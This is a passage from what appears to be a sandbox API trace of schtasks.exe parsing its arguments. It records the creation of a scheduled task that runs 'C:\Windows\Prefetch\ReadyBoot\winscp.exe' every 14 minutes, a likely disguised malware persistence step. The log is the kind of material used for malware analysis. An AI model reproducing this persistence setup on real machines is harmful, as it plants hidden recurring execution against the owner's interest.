(lpString="sc") returned 2 [0079.964] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.964] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0079.964] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.964] lstrlenW (lpString="|run|") returned 5 [0079.964] lstrlenW (lpString="|sc|") returned 4 [0079.964] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0079.964] SetLastError (dwErrCode=0x490) [0079.964] lstrlenW (lpString="end") returned 3 [0079.964] lstrlenW (lpString="end") returned 3 [0079.964] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.964] lstrlenW (lpString="sc") returned 2 [0079.965] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.965] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0079.965] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.965] lstrlenW (lpString="|end|") returned 5 [0079.965] lstrlenW (lpString="|sc|") returned 4 [0079.965] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0079.965] SetLastError (dwErrCode=0x490) [0079.965] lstrlenW (lpString="showsid") returned 7 [0079.965] lstrlenW (lpString="showsid") returned 7 [0079.965] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.965] lstrlenW (lpString="sc") returned 2 [0079.965] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.965] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0079.965] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|sc|") returned 4 [0079.965] lstrlenW (lpString="|showsid|") returned 9 [0079.965] lstrlenW (lpString="|sc|") returned 4 [0079.965] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0079.965] SetLastError (dwErrCode=0x490) [0079.965] SetLastError (dwErrCode=0x490) [0079.965] SetLastError (dwErrCode=0x0) [0079.965] lstrlenW (lpString="/sc") returned 3 [0079.965] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0079.965] SetLastError (dwErrCode=0x490) [0079.965] SetLastError (dwErrCode=0x0) [0079.965] lstrlenW (lpString="/sc") returned 3 [0079.965] GetProcessHeap () returned 0x1d0000 [0079.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec3d0 [0079.966] GetProcessHeap () returned 0x1d0000 [0079.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecdb0 [0079.966] SetLastError (dwErrCode=0x0) [0079.966] SetLastError (dwErrCode=0x0) [0079.966] lstrlenW (lpString="MINUTE") returned 6 [0079.966] lstrlenW (lpString="-/") returned 2 [0079.966] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0079.966] SetLastError (dwErrCode=0x490) [0079.966] SetLastError (dwErrCode=0x490) [0079.966] SetLastError (dwErrCode=0x0) [0079.966] lstrlenW (lpString="MINUTE") returned 6 [0079.966] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0079.966] SetLastError (dwErrCode=0x490) [0079.966] SetLastError (dwErrCode=0x0) [0079.966] lstrlenW (lpString="MINUTE") returned 6 [0079.966] GetProcessHeap () returned 0x1d0000 [0079.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ec3f0 [0079.966] GetProcessHeap () returned 0x1d0000 [0079.966] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecde0 [0079.966] SetLastError (dwErrCode=0x0) [0079.966] SetLastError (dwErrCode=0x0) [0079.966] lstrlenW (lpString="/mo") returned 3 [0079.966] lstrlenW (lpString="-/") returned 2 [0079.966] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.966] lstrlenW (lpString="?") returned 1 [0079.966] lstrlenW (lpString="?") returned 1 [0079.966] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] lstrlenW (lpString="mo") returned 2 [0079.967] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0079.967] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.967] lstrlenW (lpString="|?|") returned 3 [0079.967] lstrlenW (lpString="|mo|") returned 4 [0079.967] SetLastError (dwErrCode=0x490) [0079.967] lstrlenW (lpString="create") returned 6 [0079.967] lstrlenW (lpString="create") returned 6 [0079.967] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] lstrlenW (lpString="mo") returned 2 [0079.967] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.967] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.967] lstrlenW (lpString="|create|") returned 8 [0079.967] lstrlenW (lpString="|mo|") returned 4 [0079.967] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0079.967] SetLastError (dwErrCode=0x490) [0079.967] lstrlenW (lpString="delete") returned 6 [0079.967] lstrlenW (lpString="delete") returned 6 [0079.967] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] lstrlenW (lpString="mo") returned 2 [0079.967] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.967] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0079.967] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.968] lstrlenW (lpString="|delete|") returned 8 [0079.968] lstrlenW (lpString="|mo|") returned 4 [0079.968] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0079.968] SetLastError (dwErrCode=0x490) [0079.968] lstrlenW (lpString="query") returned 5 [0079.968] lstrlenW (lpString="query") returned 5 [0079.968] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.968] lstrlenW (lpString="mo") returned 2 [0079.968] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.968] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0079.968] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.968] lstrlenW (lpString="|query|") returned 7 [0079.968] lstrlenW (lpString="|mo|") returned 4 [0079.968] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0079.968] SetLastError (dwErrCode=0x490) [0079.968] lstrlenW (lpString="change") returned 6 [0079.968] lstrlenW (lpString="change") returned 6 [0079.968] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.968] lstrlenW (lpString="mo") returned 2 [0079.968] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.968] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0079.968] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.968] lstrlenW (lpString="|change|") returned 8 [0079.968] lstrlenW (lpString="|mo|") returned 4 [0079.968] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0079.969] SetLastError (dwErrCode=0x490) [0079.969] lstrlenW (lpString="run") returned 3 [0079.969] lstrlenW (lpString="run") returned 3 [0079.969] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.969] lstrlenW (lpString="mo") returned 2 [0079.969] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.969] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0079.969] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.969] lstrlenW (lpString="|run|") returned 5 [0079.969] lstrlenW (lpString="|mo|") returned 4 [0079.969] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0079.969] SetLastError (dwErrCode=0x490) [0079.969] lstrlenW (lpString="end") returned 3 [0079.969] lstrlenW (lpString="end") returned 3 [0079.969] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.969] lstrlenW (lpString="mo") returned 2 [0079.969] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.969] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0079.969] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.969] lstrlenW (lpString="|end|") returned 5 [0079.969] lstrlenW (lpString="|mo|") returned 4 [0079.969] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0079.969] SetLastError (dwErrCode=0x490) [0079.969] lstrlenW (lpString="showsid") returned 7 [0079.970] lstrlenW (lpString="showsid") returned 7 [0079.970] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.970] lstrlenW (lpString="mo") returned 2 [0079.970] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.970] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0079.970] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|mo|") returned 4 [0079.970] lstrlenW (lpString="|showsid|") returned 9 [0079.970] lstrlenW (lpString="|mo|") returned 4 [0079.970] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0079.970] SetLastError (dwErrCode=0x490) [0079.970] SetLastError (dwErrCode=0x490) [0079.970] SetLastError (dwErrCode=0x0) [0079.970] lstrlenW (lpString="/mo") returned 3 [0079.970] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0079.970] SetLastError (dwErrCode=0x490) [0079.970] SetLastError (dwErrCode=0x0) [0079.970] lstrlenW (lpString="/mo") returned 3 [0079.970] GetProcessHeap () returned 0x1d0000 [0079.970] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec410 [0079.970] GetProcessHeap () returned 0x1d0000 [0079.970] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece10 [0079.970] SetLastError (dwErrCode=0x0) [0079.970] SetLastError (dwErrCode=0x0) [0079.970] lstrlenW (lpString="14") returned 2 [0079.970] lstrlenW (lpString="-/") returned 2 [0079.970] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0079.971] SetLastError (dwErrCode=0x490) [0079.971] SetLastError (dwErrCode=0x490) [0079.971] SetLastError (dwErrCode=0x0) [0079.971] lstrlenW (lpString="14") returned 2 [0079.971] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0079.971] SetLastError (dwErrCode=0x490) [0079.971] SetLastError (dwErrCode=0x0) [0079.971] lstrlenW (lpString="14") returned 2 [0079.971] GetProcessHeap () returned 0x1d0000 [0079.971] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x6) returned 0x1ec430 [0079.971] GetProcessHeap () returned 0x1d0000 [0079.971] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece40 [0079.971] SetLastError (dwErrCode=0x0) [0079.971] SetLastError (dwErrCode=0x0) [0079.971] lstrlenW (lpString="/tr") returned 3 [0079.971] lstrlenW (lpString="-/") returned 2 [0079.971] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0079.971] lstrlenW (lpString="?") returned 1 [0079.971] lstrlenW (lpString="?") returned 1 [0079.971] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.971] lstrlenW (lpString="tr") returned 2 [0079.971] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.971] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0079.971] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0079.971] lstrlenW (lpString="|?|") returned 3 [0079.971] lstrlenW (lpString="|tr|") returned 4 [0079.972] SetLastError (dwErrCode=0x490) [0079.972] lstrlenW (lpString="create") returned 6 [0079.972] lstrlenW (lpString="create") returned 6 [0079.972] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.972] lstrlenW (lpString="tr") returned 2 [0079.972] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.972] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0079.972] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0079.972] lstrlenW (lpString="|create|") returned 8 [0079.972] lstrlenW (lpString="|tr|") returned 4 [0079.972] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0079.972] SetLastError (dwErrCode=0x490) [0079.972] lstrlenW (lpString="delete") returned 6 [0079.972] lstrlenW (lpString="delete") returned 6 [0079.972] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.972] lstrlenW (lpString="tr") returned 2 [0079.972] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.972] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0079.972] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0079.972] lstrlenW (lpString="|delete|") returned 8 [0079.972] lstrlenW (lpString="|tr|") returned 4 [0079.972] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0079.972] SetLastError (dwErrCode=0x490) [0079.973] lstrlenW (lpString="query") returned 5 [0079.973] lstrlenW (lpString="query") returned 5 [0079.973] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.973] lstrlenW (lpString="tr") returned 2 [0079.973] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.973] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0079.973] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0079.973] lstrlenW (lpString="|query|") returned 7 [0079.973] lstrlenW (lpString="|tr|") returned 4 [0079.973] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0079.973] SetLastError (dwErrCode=0x490) [0079.973] lstrlenW (lpString="change") returned 6 [0079.973] lstrlenW (lpString="change") returned 6 [0079.973] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.973] lstrlenW (lpString="tr") returned 2 [0079.973] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0079.973] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0080.007] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0080.009] lstrlenW (lpString="|change|") returned 8 [0080.009] lstrlenW (lpString="|tr|") returned 4 [0080.009] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0080.009] SetLastError (dwErrCode=0x490) [0080.009] lstrlenW (lpString="run") returned 3 [0080.009] lstrlenW (lpString="run") returned 3 [0080.009] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.009] lstrlenW (lpString="tr") returned 2 [0080.009] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.009] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0080.009] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0080.009] lstrlenW (lpString="|run|") returned 5 [0080.009] lstrlenW (lpString="|tr|") returned 4 [0080.009] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0080.009] SetLastError (dwErrCode=0x490) [0080.009] lstrlenW (lpString="end") returned 3 [0080.009] lstrlenW (lpString="end") returned 3 [0080.009] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.009] lstrlenW (lpString="tr") returned 2 [0080.009] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.009] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|end|") returned 5 [0080.009] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0080.009] lstrlenW (lpString="|end|") returned 5 [0080.009] lstrlenW (lpString="|tr|") returned 4 [0080.009] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0080.009] SetLastError (dwErrCode=0x490) [0080.009] lstrlenW (lpString="showsid") returned 7 [0080.009] lstrlenW (lpString="showsid") returned 7 [0080.009] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.010] lstrlenW (lpString="tr") returned 2 [0080.010] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.010] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|showsid|") returned 9 [0080.010] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|tr|") returned 4 [0080.010] lstrlenW (lpString="|showsid|") returned 9 [0080.010] lstrlenW (lpString="|tr|") returned 4 [0080.010] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0080.010] SetLastError (dwErrCode=0x490) [0080.010] SetLastError (dwErrCode=0x490) [0080.010] SetLastError (dwErrCode=0x0) [0080.010] lstrlenW (lpString="/tr") returned 3 [0080.010] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0080.010] SetLastError (dwErrCode=0x490) [0080.010] SetLastError (dwErrCode=0x0) [0080.010] lstrlenW (lpString="/tr") returned 3 [0080.010] GetProcessHeap () returned 0x1d0000 [0080.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x8) returned 0x1ec450 [0080.010] GetProcessHeap () returned 0x1d0000 [0080.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ece70 [0080.010] SetLastError (dwErrCode=0x0) [0080.010] SetLastError (dwErrCode=0x0) [0080.010] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.010] lstrlenW (lpString="-/") returned 2 [0080.010] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.010] SetLastError (dwErrCode=0x490) [0080.011] SetLastError (dwErrCode=0x490) [0080.011] SetLastError (dwErrCode=0x0) [0080.011] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.011] StrChrIW (lpStart="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'", wMatch=0x3a) returned=":\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'" [0080.011] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.011] GetProcessHeap () returned 0x1d0000 [0080.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ec470 [0080.011] _memicmp (_Buf1=0x1ec470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.011] GetProcessHeap () returned 0x1d0000 [0080.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0xe) returned 0x1ec490 [0080.011] GetProcessHeap () returned 0x1d0000 [0080.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ed640 [0080.011] _memicmp (_Buf1=0x1ed640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.011] GetProcessHeap () returned 0x1d0000 [0080.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x58) returned 0x1ede10 [0080.011] SetLastError (dwErrCode=0x7a) [0080.011] SetLastError (dwErrCode=0x0) [0080.011] SetLastError (dwErrCode=0x0) [0080.011] lstrlenW (lpString="'C") returned 2 [0080.011] lstrlenW (lpString="-/") returned 2 [0080.011] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0080.011] SetLastError (dwErrCode=0x490) [0080.011] SetLastError (dwErrCode=0x490) [0080.011] SetLastError (dwErrCode=0x0) [0080.011] lstrlenW (lpString="'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'") returned 42 [0080.011] GetProcessHeap () returned 0x1d0000 [0080.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x56) returned 0x1ede70 [0080.012] GetProcessHeap () returned 0x1d0000 [0080.012] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1ecea0 [0080.012] SetLastError (dwErrCode=0x0) [0080.012] SetLastError (dwErrCode=0x0) [0080.012] lstrlenW (lpString="/rl") returned 3 [0080.012] lstrlenW (lpString="-/") returned 2 [0080.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0080.012] lstrlenW (lpString="?") returned 1 [0080.012] lstrlenW (lpString="?") returned 1 [0080.012] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.012] lstrlenW (lpString="rl") returned 2 [0080.012] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.012] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|?|") returned 3 [0080.012] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.012] lstrlenW (lpString="|?|") returned 3 [0080.012] lstrlenW (lpString="|rl|") returned 4 [0080.012] SetLastError (dwErrCode=0x490) [0080.012] lstrlenW (lpString="create") returned 6 [0080.012] lstrlenW (lpString="create") returned 6 [0080.012] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.012] lstrlenW (lpString="rl") returned 2 [0080.012] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.012] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|create|") returned 8 [0080.012] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.012] lstrlenW (lpString="|create|") returned 8 [0080.013] lstrlenW (lpString="|rl|") returned 4 [0080.013] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0080.013] SetLastError (dwErrCode=0x490) [0080.013] lstrlenW (lpString="delete") returned 6 [0080.013] lstrlenW (lpString="delete") returned 6 [0080.013] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.013] lstrlenW (lpString="rl") returned 2 [0080.013] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.013] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|delete|") returned 8 [0080.013] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.013] lstrlenW (lpString="|delete|") returned 8 [0080.013] lstrlenW (lpString="|rl|") returned 4 [0080.013] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0080.013] SetLastError (dwErrCode=0x490) [0080.013] lstrlenW (lpString="query") returned 5 [0080.013] lstrlenW (lpString="query") returned 5 [0080.013] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.013] lstrlenW (lpString="rl") returned 2 [0080.013] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.013] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|query|") returned 7 [0080.013] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.013] lstrlenW (lpString="|query|") returned 7 [0080.013] lstrlenW (lpString="|rl|") returned 4 [0080.014] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0080.014] SetLastError (dwErrCode=0x490) [0080.014] lstrlenW (lpString="change") returned 6 [0080.014] lstrlenW (lpString="change") returned 6 [0080.014] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.014] lstrlenW (lpString="rl") returned 2 [0080.014] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.014] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|change|") returned 8 [0080.014] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.014] lstrlenW (lpString="|change|") returned 8 [0080.014] lstrlenW (lpString="|rl|") returned 4 [0080.014] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0080.014] SetLastError (dwErrCode=0x490) [0080.014] lstrlenW (lpString="run") returned 3 [0080.014] lstrlenW (lpString="run") returned 3 [0080.014] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.014] lstrlenW (lpString="rl") returned 2 [0080.014] _memicmp (_Buf1=0x1ec340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0080.014] _vsnwprintf (in: _Buffer=0x1ec380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|run|") returned 5 [0080.014] _vsnwprintf (in: _Buffer=0x1ec360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f318 | out: _Buffer="|rl|") returned 4 [0080.014] lstrlenW (lpString="|run|") returned 5 [0080.014] lstrlenW (lpString="|rl|") returned 4 [0080.014] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0080.015] SetLastError (dwErrCode=0x490) [0080.015] lstrlenW (lpString="end") returned 3 [0080.015] lstrlenW (lpString="end") returned 3 [0080.015] _memicmp (_Buf1=0x1ec200, _Buf2=0xff901b08, _Size=0x7) returned 0 